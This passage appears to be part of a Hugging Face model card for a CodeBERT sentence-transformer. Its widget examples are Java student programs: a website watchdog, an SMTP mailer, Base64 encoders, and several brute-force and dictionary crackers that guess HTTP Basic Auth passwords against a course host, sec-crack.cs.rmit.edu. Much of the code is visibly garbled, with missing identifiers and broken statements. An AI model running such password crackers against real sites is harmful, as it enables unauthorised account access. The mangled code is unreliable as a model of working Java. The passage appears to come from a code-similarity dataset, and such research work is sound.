1000);\n protected int interval = 24;\n \ + \ protected String URL = \"http://www.cs.rmit.edu./students/\";\n protected\ + \ String fileName = \"WatchDogContent.html\";\n protected String command =\ + \ \"./alert_mail.sh\";\n protected String savedContent;\n protected String\ + \ retrievedContent;\n\n \n public WatchDog()\n {\n super();\n\ + \ }\n\n \n public void run() throws Exception\n {\n HttpRequestClient\ + \ client = null;\n \n \n System.out.println(getClass().getName()\ + \ +\n \"Retrieving baseline copy of: \" + getURL());\n\ + \ client = new HttpRequestClient(getURL());\n retrievedContent =\ + \ client.getContent().toString();\n\n System.out.println(getClass().getName()\ + \ +\n \"Writing baseline content : \" + getFileName());\n\ + \ writeFile();\n\n while (true)\n {\n \n \ + \ System.out.println(getClass().getName() +\n \ + \ \" Sleeping for hours: \" + getInterval());\n Thread.currentThread().sleep(MILLIS_IN_HOUR\ + \ * getInterval());\n\n \n System.out.println(getClass().getName()\ + \ +\n \" Retrieving: \" + getURL());\n\n \ + \ client = new HttpRequestClient(getURL());\n retrievedContent = client.getContent().toString();\n\ + \n \n System.out.println(getClass().getName() +\n \ + \ \" saved copy: \" + getURL());\n savedContent\ + \ = readFile();\n\n \n System.out.println(getClass().getName()\ + \ +\n \" Comparing saved and retrieved. \");\n \ + \ if (!savedContent.equals(retrievedContent))\n {\n \ + \ \n System.out.println(getClass().getName() +\n \ + \ \" Difference found. \");\n\n writeTempFile();\n\ + \ runCommand();\n }\n\n \n writeFile();\n\ + \ }\n }\n\n\n \n public String runCommand()\n {\n String\ + \ cmd = getCommand() + \" \\\"\" + getURL() + \"\\\"\";\n try\n \ + \ {\n Runtime r = Runtime.getRuntime();\n System.out.println(getClass().getName()\ + \ +\n \" Executing: \" + cmd);\n\n Process proc = r.exec(cmd);\n\ + \ }\n catch (Exception e)\n {\n try\n \ + \ {\n Runtime r = Runtime.getRuntime();\n Process\ + \ proc = r.exec(cmd);\n }\n catch (Exception ex)\n \ + \ {\n System.out.println(getClass().getName()\n \ + \ + \" Could not run :\"\n + getCommand()\n \ + \ + \" because : \"\n + ex.getMessage());\n \ + \ }\n }\n\n return \"Executed successfully\";\n }\n\ + \n \n protected String readFile() throws FileNotFoundException\n {\n\ + \ BufferedInputStream input = null;\n FileInputStream file = null;\n\ + \ StringBuffer content = new StringBuffer();\n try\n {\n\ + \ file = new FileInputStream(getFileName());\n \n \ + \ input = new BufferedInputStream(file);\n \n }\n \ + \ catch (FileNotFoundException x)\n {\n System.err.println(\"\ + File not found: \" + getFileName());\n throw x;\n }\n\n \ + \ try\n {\n int ch;\n while ((ch = input.get())\ + \ != -1)\n {\n content.append((char)ch);\n \ + \ }\n }\n catch (IOException x)\n {\n x.printStackTrace();\n\ + \ }\n finally\n {\n if (input != null)\n \ + \ {\n try\n {\n input.get();\n\ + \ file.get();\n }\n catch (IOException\ + \ e)\n {\n }\n }\n }\n \ + \ return content.toString();\n }\n\n \n protected void writeFile() throws\ + \ Exception\n {\n OutputStream os = null;\n try\n {\n\ + \ os = new BufferedOutputStream(\n new FileOutputStream(getFileName(),\ + \ false));\n os.write(getRetrievedContent().getBytes());\n }\n\ + \ catch (FileNotFoundException e)\n {\n e.printStackTrace();\n\ + \ throw e;\n }\n catch (IOException e)\n {\n \ + \ e.printStackTrace();\n throw e;\n }\n finally\n\ + \ {\n if (os != null)\n {\n try\n\ + \ {\n os.close();\n }\n \ + \ catch (IOException e)\n {\n }\n \ + \ }\n }\n }\n\n \n protected void writeTempFile() throws\ + \ Exception\n {\n OutputStream os = null;\n try\n {\n\ + \ os = new BufferedOutputStream(\n new FileOutputStream(\"\ + .html\", false));\n os.write(getRetrievedContent().getBytes());\n \ + \ }\n catch (FileNotFoundException e)\n {\n e.printStackTrace();\n\ + \ throw e;\n }\n catch (IOException e)\n {\n \ + \ e.printStackTrace();\n throw e;\n }\n finally\n\ + \ {\n if (os != null)\n {\n try\n\ + \ {\n os.close();\n }\n \ + \ catch (IOException e)\n {\n }\n \ + \ }\n }\n }\n\n public static void main(String[] args)\n \ + \ {\n WatchDog watchDog = new WatchDog();\n\n if (args.length\ + \ < 3)\n {\n watchDog.printUsage();\n }\n\n \n\ + \ System.out.println(watchDog.getClass().getName() +\n \ + \ \": Initialising with \" +\n args[0] + \" \\n\"\ + \ +\n args[1] + \" \\n\" +\n args[2]\ + \ + \" \\n\");\n watchDog.setURL(args[0]);\n watchDog.setInterval(Integer.parseInt(args[1]));\n\ + \ watchDog.setCommand(args[2]);\n\n \n try\n {\n \ + \ System.out.println(watchDog.getClass().getName() + \": Invoking the\ + \ run method.\");\n watchDog.run();\n }\n catch (Exception\ + \ e)\n {\n e.printStackTrace();\n }\n }\n\n public\ + \ String printUsage()\n {\n StringBuffer s = new StringBuffer();\n\n\ + \ s.append(\"** WatchDog proper usage **\\n\\n\");\n s.append(\n\ + \ this.getClass().getName() +\n \" \\n\\n\");\n\n return s.toString();\n }\n\n \n public\ + \ String getCommand()\n {\n return command;\n }\n\n \n public\ + \ String getFileName()\n {\n return fileName;\n }\n\n \n public\ + \ int getInterval()\n {\n return interval;\n }\n\n \n public\ + \ String getURL()\n {\n return URL;\n }\n\n \n public void\ + \ setCommand(String string)\n {\n command = string;\n }\n\n \n\ + \ public void setFileName(String string)\n {\n fileName = string;\n\ + \ }\n\n \n public void setInterval(int i)\n {\n interval =\ + \ i;\n }\n\n \n public void setURL(String string)\n {\n URL\ + \ = string;\n }\n\n \n public String getRetrievedContent()\n {\n \ + \ return retrievedContent;\n }\n\n \n public String getSavedContent()\n\ + \ {\n return savedContent;\n }\n\n \n public void setRetrievedContent(String\ + \ string)\n {\n retrievedContent = string;\n }\n\n \n public\ + \ void setSavedContent(String string)\n {\n savedContent = string;\n\ + \ }\n\n}\n" + - "\n\n\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.Date;\n\npublic\ + \ class MyMail implements Serializable\n{\n\t\n\n\t\n\tpublic static final int\ + \ SMTPPort = 25;\n\n\t\n\tpublic static final char successPrefix = '2';\n\n\t\n\ + \tpublic static final char morePrefix = '3';\n\n\t\n\tpublic static final char\ + \ failurePrefix = '4';\n\n\t\n\n\t\n\tprivate static final String CRLF = \"\\\ + r\\n\";\n\n\t\n\tprivate String mailFrom = \"\";\n\n\t\n\tprivate String mailTo\ + \ = \"\";\n\n\t\n\tprivate String messageSubject = \"\";\n\n\t\n\tprivate String\ + \ messageBody = \"\";\n\n\t\n\tprivate String mailServer = \"\";\n\n\t\n\tpublic\ + \ MyMail ()\n\t{\n\t\t\n\t\tsuper();\n\t}\n\n\t\n\tpublic MyMail ( String serverName)\n\ + \t{\n\t\t\n\t\tsuper();\n\n\t\t\n\t\tmailServer = serverName;\n\t}\n\n\t\n\tpublic\ + \ String getFrom()\n\t{\n\t\treturn mailFrom;\n\t}\n\n\t\n\tpublic String getTo()\n\ + \t{\n\t\treturn mailTo;\n\t}\n\n\t\n\tpublic String getSubject()\n\t{\n\t\treturn\ + \ messageSubject;\n\t}\n\n\t\n\tpublic String getMessage()\n\t{\n\t\treturn messageBody;\n\ + \t}\n\n\t\n\tpublic String getMailServer()\n\t{\n\t\treturn mailServer;\n\t}\n\ + \n\t\n\tpublic void setFrom( String from )\n\t{\n\t\t\n\t\tmailFrom = from;\n\t\ + }\n\n\t\n\tpublic void setTo ( String To )\n\t{\n\t\t\n\t\tmailTo = To;\n\t}\n\ + \n\t\n\tpublic void setSubject ( String subject )\n\t{\n\t\t\n\t\tmessageSubject\ + \ = subject;\n\t}\n\n\t\n\tpublic void setMessage ( String msg )\n\t{\n\t\t\n\t\ + \tmessageBody = msg;\n\t}\n\n\t\n\tpublic void setMailServer ( String server )\n\ + \t{\n\t\t\n\t\tmailServer = server;\n\t}\n\n\t\n\tprivate boolean responseValid(\ + \ String response )\n\t{\n\t\t\n\n\t\t\n\t\tif (response.indexOf(\" \") == -1)\n\ + \t\t\t\n\t\t\treturn false;\n\n\t\t\n\t\tString cad = response.substring( 0, response.indexOf(\"\ + \ \"));\n\n\t\t\n\t\tcad = cad.toUpperCase();\n\n\t\t\n\t\tif (( cad.charAt(0)\ + \ == successPrefix ) ||\n\t\t ( cad.charAt(0) == morePrefix ) )\n\t\t\t\n\t\ + \t\t\treturn true;\n\t\t\telse\n\t\t\t\t\n\t\t\t\treturn false;\n\t\t}\n\n\t\n\ + \tpublic void sendMail()\n\t{\n\t\ttry {\n\t\tString response;\n\n\t\t\n\t\tSocket\ + \ mailSock = new Socket (mailServer, SMTPPort);\n\n\t\t\n\t\tBufferedReader bf\ + \ = new BufferedReader ( new InputStreamReader(mailSock.getInputStream()));\n\t\ + \tPrintWriter pout = new PrintWriter ( new OutputStreamWriter(mailSock.getOutputStream()));\n\ + \n\t\t\n\t\tSystem.out.println(\"1\");\n\t\tresponse = bf.readLine();\n\n\t\t\n\ + \t\tif ( !responseValid(response) )\n\t\t\tthrow new IOException(\"ERR - \" +\ + \ response);\n\n\t\t\n\t\ttry\n\t\t{\n\t\t\tInetAddress addr = InetAddress.getLocalHost();\n\ + \n\t\t\tString localHostname = addr.getHostName();\n\t\t\t\n\t\t\tpout.print (\"\ + HELO \" + localHostname + CRLF);\n\t\t}\n\t\tcatch (UnknownHostException uhe)\n\ + \t\t{\n\t\t\t\n\t\t\tpout.print (\"HELO myhostname\" + CRLF);\n\t\t}\n\n\t\t\n\ + \t\tpout.flush();\n\n\t\t\n\t\tSystem.out.println(\"2\");\n\t\tresponse = bf.readLine();\n\ + \n\t\t\n\t\tif ( !responseValid(response) )\n\t\t\tthrow new IOException(\"ERR\ + \ - \" + response);\n\n\t\t\n\t\tpout.println (\"MAIL From:<\" + mailFrom + \"\ + >\");\n\n\t\t\n\t\tpout.flush();\n\n\t\t\n\t\tSystem.out.println(\"3\");\n\t\t\ + response = bf.readLine();\n\n\t\t\n\t\tif ( !responseValid(response) )\n\t\t\t\ + throw new IOException(\"ERR - \" + response);\n\n\t\t\n\t\tpout.println (\"RCPT\ + \ :<\" + mailTo + \">\");\n\n\t\t\n\t\tpout.flush();\n\n\t\t\n\t\tSystem.out.println(\"\ + 4\");\n\t\tresponse = bf.readLine();\n\n\t\t\n\t\tif ( !responseValid(response)\ + \ )\n\t\t\tthrow new IOException(\"ERR - \" + response);\n\n\t\t\n\t\tpout.println\ + \ (\"DATA\");\n\n\t\t\n\t\tpout.flush();\n\n\t\t\n\t\tSystem.out.println(\"5\"\ + );\n\t\tresponse = bf.readLine();\n\n\t\t\n\t\tif ( !responseValid(response) )\n\ + \t\t\tthrow new IOException(\"ERR - \" + response);\n\n\t\t\n\t\t\n\t\tpout.println\ + \ (\"From: \" + mailFrom);\n\t\tpout.println (\": \" + mailTo);\n\t\tpout.println\ + \ (\"Subject: \" + messageSubject);\n\n\t\t\n\t\tpout.println ();\n\n\t\t\n\t\t\ + pout.println (messageBody);\n\n\t\t\n\t\tpout.println (\".\\n\\r\");\n\n\t\t\n\ + \t\tpout.flush();\n\n\t\t\n\t\tSystem.out.println(\"6\");\n\t\tresponse = bf.readLine();\n\ + \n\t\t\n\t\tif ( !responseValid(response) )\n\t\t\tthrow new IOException(\"ERR\ + \ - \" + response);\n\n\t\t\n\t\tpout.println (\"QUIT\");\n\n\t\t\n\t\tpout.flush();\n\ + \n\t\t\n\t\tmailSock.close();\n\t\t}\n\t\tcatch (IOException ioe)\n\t\t{\n\t\t\ + \tSystem.out.println(ioe.getMessage());\n\t\t}\n\t}\n\n}" + - "\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\npublic class WatchDog\n\ + {\n private Vector init;\n public WatchDog()\n {\n try\n {\n \ + \ Runtime run = Runtime.getRuntime();\n String command_line = \"lynx\ + \ http://www.cs.rmit.edu./students/ -dump\";\n Process result = run.exec(command_line);\n\ + \ BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream()));\n\ + \ String inputLine;\n init = new Vector();\n while ((inputLine\ + \ = in.readLine()) != null)\n {\n init.addElement(inputLine);\n \ + \ }\n \n }catch(Exception e)\n {\n }\n }\n public static\ + \ void main(String args[])\n {\n WatchDog wd = new WatchDog();\n wd.nextRead();\n\ + \ }\n\n public void nextRead()\n {\n while(true)\n {\n ScheduleTask\ + \ sch = new ScheduleTask(init);\n if(sch.getFlag()!=0)\n {\n \ + \ System.out.println(\"change happen\");\n WatchDog wd = new WatchDog();\n\ + \ wd.nextRead();\n }\n \n }\n }\n}" +- source_sentence: "import java.*;\nimport java.io.*;\npublic class C\n{\n public\ + \ static void main (String [] args){\n try{\n \n int m=0,n=0,w=0;\n\ + \ String file = \"passwd.\";\n char ch1='A',ch2='A',ch3='A';\n \ + \ for(int i = 0 ; i < 26; i++ )\n {\n for(w=0;w<2;w++)\n\ + \ {\n if (w==1)\n i+=32;\n for(int j =\ + \ 0; j< 26 ; j++)\n {\n for(n=0;n<2;n++)\n {\n\ + \ if(n==1)\n j+=32;\n for(int k = 0; k<26\ + \ ; k++)\n {\n for(m=0; m<2; m++)\n \ + \ {\n if(m==1)\n k+=32;\n \ + \ char data[] = {(char)(i+ch1), (char)(j+ch2), (char)(k+ch3)};\n \ + \ String str = new String(data);\n System.out.println(str);\n\ + \ FileWriter fr1 = new FileWriter(file,true);\n \ + \ BufferedWriter in1 = new BufferedWriter(fr1);\n in1.write(str);\n\ + \ in1.newLine();\n in1.print();\n \ + \ if (k>=31)\n k-=32;\n \ + \ }\n }\n if(j>=31)\n j=j-32;\n \ + \ }\n }\n if(i>=31)\n i-=32;\n \ + \ }\n }\n}\ncatch(IOException e)\n{\n System.out.println(\"try\"\ + );\n}\n}\n}\n" + sentences: + - "\n\npublic class Base64 {\n\n\tfinal static String baseTable = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\ + ;\n\n\t\n\tpublic static String encode(byte[] bytes) {\n\n\t\tString tmp = \"\"\ + ;\n\t\tint i = 0;\n\t\tbyte pos; \n\n\t\tfor(i=0; i < (bytes.length - bytes.length%3);\ + \ i+=3) {\n\n\t\t\tpos = (byte) ((bytes[i] >> 2) & 63); \n\t\t\ttmp = tmp + baseTable.charAt(pos);\ + \ \n\n\t\t\tpos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); \n\ + \t\t\ttmp = tmp + baseTable.charAt( pos );\n\t\t\t\t\t\n\t\t\tpos = (byte) (((bytes[i+1]\ + \ & 15) << 2) + ((bytes[i+2] >> 6) & 3));\n\t\t\ttmp = tmp + baseTable.charAt(pos);\n\ + \t\t\n\t\t\tpos = (byte) (((bytes[i+2]) & 63));\n\t\t\ttmp = tmp + baseTable.charAt(pos);\n\ + \t\t\n\t\t\t\n\t\t\t\n\t\t\tif(((i+2)%56) == 0) {\n\t\t\t\ttmp = tmp + \"\\r\\\ + n\";\n\t\t\t}\n\t\t}\n\n\t\tif(bytes.length % 3 != 0) {\n\n\t\t\tif(bytes.length\ + \ % 3 == 2) {\n\n\t\t\t\tpos = (byte) ((bytes[i] >> 2) & 63); \n\t\t\t\ttmp =\ + \ tmp + baseTable.charAt(pos); \n\n\t\t\t\tpos = (byte) (((bytes[i] & 3) << 4)\ + \ + ((bytes[i+1] >> 4) & 15)); \n\t\t\t\ttmp = tmp + baseTable.charAt( pos );\n\ + \t\t\t\t\t\t\n\t\t\t\tpos = (byte) ((bytes[i+1] & 15) << 2);\n\t\t\t\ttmp = tmp\ + \ + baseTable.charAt(pos);\n\t\t\t\n\t\t\t\ttmp = tmp + \"=\";\n\n\t\t\t} else\ + \ if(bytes.length % 3 == 1) {\n\t\t\t\t\n\t\t\t\tpos = (byte) ((bytes[i] >> 2)\ + \ & 63); \n\t\t\t\ttmp = tmp + baseTable.charAt(pos); \n\n\t\t\t\tpos = (byte)\ + \ ((bytes[i] & 3) << 4); \n\t\t\t\ttmp = tmp + baseTable.charAt( pos );\n\t\t\t\ + \t\t\t\n\t\t\t\ttmp = tmp + \"==\";\n\t\t\t}\n\t\t}\n\t\treturn tmp;\n\n\t}\n\n\ + \t\n\tpublic static String encode(String src) {\n\t\t\n\t\treturn encode(src.getBytes());\t\ + \n\t}\n\n\tpublic static byte[] decode(String src) throws Exception {\n\n\t\t\ + byte[] bytes = null;\n\n\t\tStringBuffer buf = new StringBuffer(src);\n\n\t\t\n\ + \t\tint i = 0;\n\t\tchar c = ' ';\n\t\tchar oc = ' ';\n\t\twhile( i < buf.length())\ + \ {\t\t\t\n\t\t\toc = c; \n\t\t\tc = buf.charAt(i);\n\t\t\tif( oc == '\\r' &&\ + \ c == '\\n') {\n\t\t\t\tbuf.deleteCharAt(i);\n\t\t\t\tbuf.deleteCharAt(i-1);\n\ + \t\t\t\ti -= 2;\n\t\t\t} else if( c == '\\t') {\n\t\t\t\tbuf.deleteCharAt(i);\n\ + \t\t\t\ti --;\n\t\t\t} else if( c == ' ') {\n\t\t\t\ti --;\n\t\t\t}\n\t\t\ti++;\n\ + \t\t}\n\n\t\t\n\t\tif(buf.length() % 4 != 0) {\n\t\t\tthrow new Exception(\"Base64\ + \ decoding invalid length\");\n\t\t}\n\n\t\t\n\t\tbytes = new byte[3 * (buf.length()\ + \ / 4)];\n\t\t\n\t\t\n\t\tint index = 0;\n\t\t\n\t\t\n\t\tfor(i = 0; i < buf.length();\ + \ i+=4) {\n\n\t\t\tbyte data = 0;\n\t\t\tint nGroup = 0;\n\n\t\t\tfor(int j =\ + \ 0; j < 4; j++) {\n\n\t\t\t\tchar theChar = buf.charAt(i + j); \n\n\t\t\t\tif(theChar\ + \ == '=') {\n\t\t\t\t\tdata = 0;\n\t\t\t\t} else {\n\t\t\t\t\tdata = getBaseTableIndex(theChar);\ + \ \n\t\t\t\t}\n\n\t\t\t\tif(data == -1) {\n\t\t\t\t\tthrow new Exception(\"Base64\ + \ decoding bad character\");\n\t\t\t\t}\n\n\t\t\t\tnGroup = 64*nGroup + data;\n\ + \t\t\t}\n\n\t\t\tbytes[index] = (byte) (255 & (nGroup >> 16));\n\t\t\tindex ++;\n\ + \n\t\t\tbytes[index] = (byte) (255 & (nGroup >> 8));\n\t\t\tindex ++;\n\n\t\t\t\ + bytes[index] = (byte) (255 & (nGroup));\n\t\t\tindex ++;\n\t\t}\n\t\t\n\t\tbyte[]\ + \ newBytes = new byte[index];\n\t\tfor(i = 0; i < index; i++) {\n\t\t\tnewBytes[i]\ + \ = bytes[i];\n\t\t}\n\n\t\treturn newBytes;\n\t}\n\n\t\n\tprotected static byte\ + \ getBaseTableIndex(char c) {\n\t\t\n\t\tbyte index = -1;\n\n\t\tfor(byte i =\ + \ 0; i < baseTable.length(); i ++) {\n\t\t\n\t\t\tif(baseTable.charAt(i) == c)\ + \ {\n\t\t\t\tindex = i;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\treturn index;\n\ + \t}\n}" + - "\n\nimport java.io.*;\nimport java.net.*;\nimport java.misc.BASE64Encoder;\n\n\ + public class BruteForce\n{\n public BruteForce()\n {}\n\n public boolean fetchURL(String\ + \ urlString,String username,String password)\n {\n StringWriter = new StringWriter();\n\ + \ PrintWriter pw = new PrintWriter();\n try{\n URL url=new URL(urlString);\ + \ \n String userPwd= username+\":\"+password;\n\n \n \n \ + \ \n \n\n BASE64Encoder encoder = new BASE64Encoder();\n \ + \ String encodedStr = encoder.encode (userPwd.getBytes());\n System.out.println(\"\ + Original String = \" + userPwd);\n\t System.out.println(\"Encoded String = \"\ + \ + encodedStr);\n\n HttpURLConnection huc=(HttpURLConnection) url.openConnection();\ + \ \n huc.setRequestProperty( \"Authorization\",\" \"+encodedStr); \n\ + \ InputStream content = (InputStream)huc.getInputStream();\n BufferedReader\ + \ in = \n new BufferedReader (new InputStreamReader (content));\n \ + \ String line;\n while ((line = in.readLine()) != null) {\n pw.println\ + \ (line);\n System.out.println(\"*************************************************\"\ + );\n System.out.println(sw.toString());\n }return true;\n } catch\ + \ (MalformedURLException e) {\n pw.println (\"Invalid URL\");\n return\ + \ false;\n } catch (IOException e) {\n pw.println (\"Error URL\");\n\ + \ return false;\n }\n\n }\n\n public void getPassword()\n { \n \ + \ String alps=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n \ + \ String urlString=\"http://sec-crack.cs.rmit.edu./SEC/2/\";\n String login=\"\ + \";\n String pwd=\" \";\n\n startTime=System.currentTimeMillis();\n \ + \ for(int oneChar=0;oneChar>= 6;\n out[index+2]\ + \ = alphabet[(trip? ( bat & 0x3F): 64)];\n bat >>= 6;\n out[index+1]\ + \ = alphabet[bat & 0x3F];\n bat >>= 6;\n out[index+0] = alphabet[\ + \ bat & 0x3F];\n }\n return out;\n}\n\n \nstatic public byte[] decode(char[]\ + \ data)\n{\n \n \n \n \n \n \n\n int tempLen = data.length;\n\ + \ for( int ix=0; ix 255)\ + \ || codes[ data[ix] ] < 0 )\n --tempLen; \n }\n \n \n \ + \ \n \n\n int len = (tempLen / 4) * 3;\n if ((tempLen % 4) == 3) len\ + \ += 2;\n if ((tempLen % 4) == 2) len += 1;\n\n byte[] out = new byte[len];\n\ + \n\n\n int shift = 0; \n int accum = 0; \n int index = 0;\n\n \ + \ \n for (int ix=0; ix255)?\ + \ -1: codes[ data[ix] ];\n\n if ( value >= 0 ) \n {\n\ + \ accum <<= 6; \n shift += 6; \n\ + \ accum |= value; \n if ( shift >= 8 ) \n\ + \ {\n shift -= 8; \n out[index++]\ + \ = \n (byte) ((accum >> shift) & 0xff);\n \ + \ }\n }\n \n \n \n \n \n \n \ + \ }\n\n \n if( index != out.length)\n {\n throw new Error(\"\ + Miscalculated data length (wrote \" + index + \" instead of \" + out.length +\ + \ \")\");\n }\n\n return out;\n}\n\n\n\n\n\nstatic private char[] alphabet\ + \ =\n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\"\ + \n .toCharArray();\n\n\n\n\nstatic private byte[] codes = new byte[256];\n\ + static {\n for (int i=0; i<256; i++) codes[i] = -1;\n for (int i = 'A';\ + \ i <= 'Z'; i++) codes[i] = (byte)( i - 'A');\n for (int i = 'a'; i <=\ + \ 'z'; i++) codes[i] = (byte)(26 + i - 'a');\n for (int i = '0'; i <= '9';\ + \ i++) codes[i] = (byte)(52 + i - '0');\n codes['+'] = 62;\n codes['/']\ + \ = 63;\n}\n}" +- source_sentence: "\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n\ + {\n private String myUsername = \"\";\n private String myPassword = \"\";\n\ + \ private String urlToCrack = \"http://sec-crack.cs.rmit.edu./SEC/2\";\n\n\n\ + \ public static void main (String args[])\n {\n Dictionary d = new Dictionary();\n\ + \ }\n\n public Dictionary()\n {\n generatePassword();\n }\n\n \n\ + \n public void generatePassword()\n {\n try\n {\n BufferedReader\ + \ = new BufferedReader(new FileReader(\"/usr/share/lib/dict/words\"));\n\n \ + \ \n {\n myPassword = bf.readLine();\n crackPassword(myPassword);\n\ + \ } while (myPassword != null);\n }\n catch(IOException e)\n\ + \ { }\n }\n\n\n \n\n public void crackPassword(String passwordToCrack)\n\ + \ {\n String data, dataToEncode, encodedData;\n\n try\n {\n \ + \ URL url = new URL (urlToCrack);\n\n \n\n dataToEncode = myUsername\ + \ + \":\" + passwordToCrack;\n\n \n\n encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\ + \n URLConnection urlCon = url.openConnection();\n urlCon.setRequestProperty\ + \ (\"Authorization\", \" \" + encodedData);\n\n InputStream is = (InputStream)urlCon.getInputStream();\n\ + \ InputStreamReader isr = new InputStreamReader(is);\n BufferedReader\ + \ bf = new BufferedReader (isr);\n\n \n {\n data\ + \ = bf.readLine();\n System.out.println(data);\n displayPassword(passwordToCrack);\n\ + \ } while (data != null);\n }\n catch (IOException e)\n \ + \ { }\n }\n\n\n public void displayPassword(String foundPassword)\n {\n\ + \ System.out.println(\"\\nThe cracked password is : \" + foundPassword);\n\ + \ System.exit(0);\n }\n}\n\n\n" + sentences: + - "\nimport java.io.*;\n\npublic class PasswordFile {\n \n private String\ + \ strFilepath;\n private String strCurrWord;\n private File fWordFile;\n\ + \ private BufferedReader in;\n \n \n public PasswordFile(String filepath)\ + \ {\n strFilepath = filepath;\n try {\n fWordFile = new\ + \ File(strFilepath);\n in = new BufferedReader(new FileReader(fWordFile));\n\ + \ }\n catch(Exception e)\n {\n System.out.println(\"\ + Could not open file \" + strFilepath);\n }\n }\n \n String getPassword()\ + \ {\n return strCurrWord;\n }\n \n String getNextPassword() {\n\ + \ try {\n strCurrWord = in.readLine();\n \n \ + \ \n \n }\n catch (Exception e)\n {\n \ + \ \n return null;\n }\n \n return\ + \ strCurrWord;\n }\n \n}\n" + - "\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport\ + \ java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce\ + \ {\n \n static char [] passwordDataSet = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\"\ + .toCharArray();\n \n private int indices[] = {0,0,0};\n \n private String\ + \ url = null;\n\n \n public BruteForce(String url) {\n this.url = url;\n\n\ + \ }\n \n private int attempts = 0;\n private boolean stopGen = false;\n \n\ + \ public String getNextPassword(){\n String nextPassword = \"\";\n for(int\ + \ i = 0; i \"\ + );\n System.exit(1);\n }\n\n BruteForce bruteForce1 = new BruteForce(args[0]);\n\ + \ try{\n Calendar cal1=null, cal2=null;\n cal1 = Calendar.getInstance();\n\ + \ System.out.println(\"Cracking started at: \" + cal1.getTime().toString());\n\ + \ String password = bruteForce1.crackPassword(args[1]);\n if(password\ + \ != null)\n System.out.println(\"\\nPassword is: \"+password);\n \ + \ else\n System.out.println(\"\\nPassword could not retrieved!\");\n \ + \ cal2 = Calendar.getInstance();\n System.out.println(\"Cracking finished\ + \ at: \" + cal2.getTime().toString());\n Date d3 = new Date(cal2.getTime().getTime()\ + \ - cal1.getTime().getTime());\n System.out.println(\"Total Time taken crack:\ + \ \" + (d3.getTime())/1000 + \" sec\");\n System.out.println(\"Total attempts\ + \ : \" + bruteForce1.getAttempts());\n\n }catch(MalformedURLException mue){\n\ + \ mue.printStackTrace();\n }\n\n catch(IOException ioe){\n ioe.printStackTrace();\n\ + \ }\n }\n}" + - "import java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class\ + \ Dictionary\n{\n\tpublic static void main (String args[])\n\t{\n\t\t\n\t\t\n\ + \ Calendar cal = Calendar.getInstance();\n Date now=cal.getTime();\n\ + \ double startTime = now.getTime();\n\n\t\tString password=getPassword(startTime);\n\ + \t\tSystem.out.println(\"The password is \" + password);\n\t}\n\n\tpublic static\ + \ String getPassword(double startTime)\n\t{\n\t\tString password=\"\";\n\t\tint\ + \ requests=0;\n\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tFileReader fRead = new FileReader(\"\ + /usr/share/lib/dict/words\");\n\t\t\tBufferedReader buf = new BufferedReader(fRead);\n\ + \n\t\t\tpassword=buf.readLine();\n\n\t\t\twhile (password != null)\n\t\t\t{\n\t\ + \t\t\t\n\t\t\t\tif (password.length()<=3)\n\t\t\t\t{\n\t\t\t\t\trequests++;\n\t\ + \t\t\t\tif (testPassword(password, startTime, requests))\n\t\t\t\t\t\treturn password;\n\ + \t\t\t\t}\n\n\t\t\t\tpassword = buf.readLine();\n\n\t\t\t}\n\t\t}\n\t\tcatch (IOException\ + \ ioe)\n\t\t{\n\n\t\t}\n\n\t\treturn password;\n\t}\n\n\tprivate static boolean\ + \ testPassword(String password, double startTime, int requests)\n\t{\n\t\ttry\n\ + \t\t{\n\t\t\t\n\t\t\t\n\t\t\tURL url=new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\"\ + );\n\n\t\t\tHttpURLConnection connection;\n\n \t\tString userPassword = \"\ + :\" + password;\n\n \t\t\n \t\tString encoding = new url.misc.BASE64Encoder().encode\ + \ (userPassword.getBytes());\n\n\t\t\ttry\n\t\t\t{\n\t\t\t\t\n\t\t\t\tconnection\ + \ = (HttpURLConnection) url.openConnection();\n\t\t\t\t\n\t\t\t\tconnection.setRequestProperty(\"\ + Authorization\", \" \" + encoding);\n\n\t\t\t\t\n\t\t\t\tint status=connection.getResponseCode();\n\ + \n\t\t\t\tSystem.out.println(password + requests);\n\n\t\t\t\tif (status==200)\n\ + \t\t\t\t{\n\t\t\t\t\tSystem.out.println(\"It took \" + getTime(startTime) + \"\ + \ milliseconds find the password.\");\n\t\t\t\t\tSystem.out.println(\" were \"\ + \ + requests + \" requests .\");\n\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\n\t\t\t\ + \treturn false;\n\n\t\t\t}\n\n\t\t\tcatch (IOException ioe)\n\t\t\t{\n\t\t\t\t\ + System.out.print(ioe);\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t}\n\n\t\tcatch (IOException\ + \ MalformedURLException)\n\t\t{\n\t\t\tSystem.out.print(\"Invalid URL\");\n\t\t\ + \treturn false;\n\t\t}\n\t}\n\n\n\tprivate static double getTime(double startTime)\n\ + \t{\n\t\t\n\t\t\n Calendar cal = Calendar.getInstance();\n Date\ + \ now=cal.getTime();\n double endTime = now.getTime();\n\n return\ + \ endTime-startTime;\n\n\t}\n\n}\n" +pipeline_tag: sentence-similarity +library_name: sentence-transformers +--- + +# SentenceTransformer based on microsoft/codebert-base + +This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [microsoft/codebert-base](https://huggingface.co/microsoft/codebert-base). It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. + +## Model Details + +### Model Description +- **Model Type:** Sentence Transformer +- **Base model:** [microsoft/codebert-base](https://huggingface.co/microsoft/codebert-base) +- **Maximum 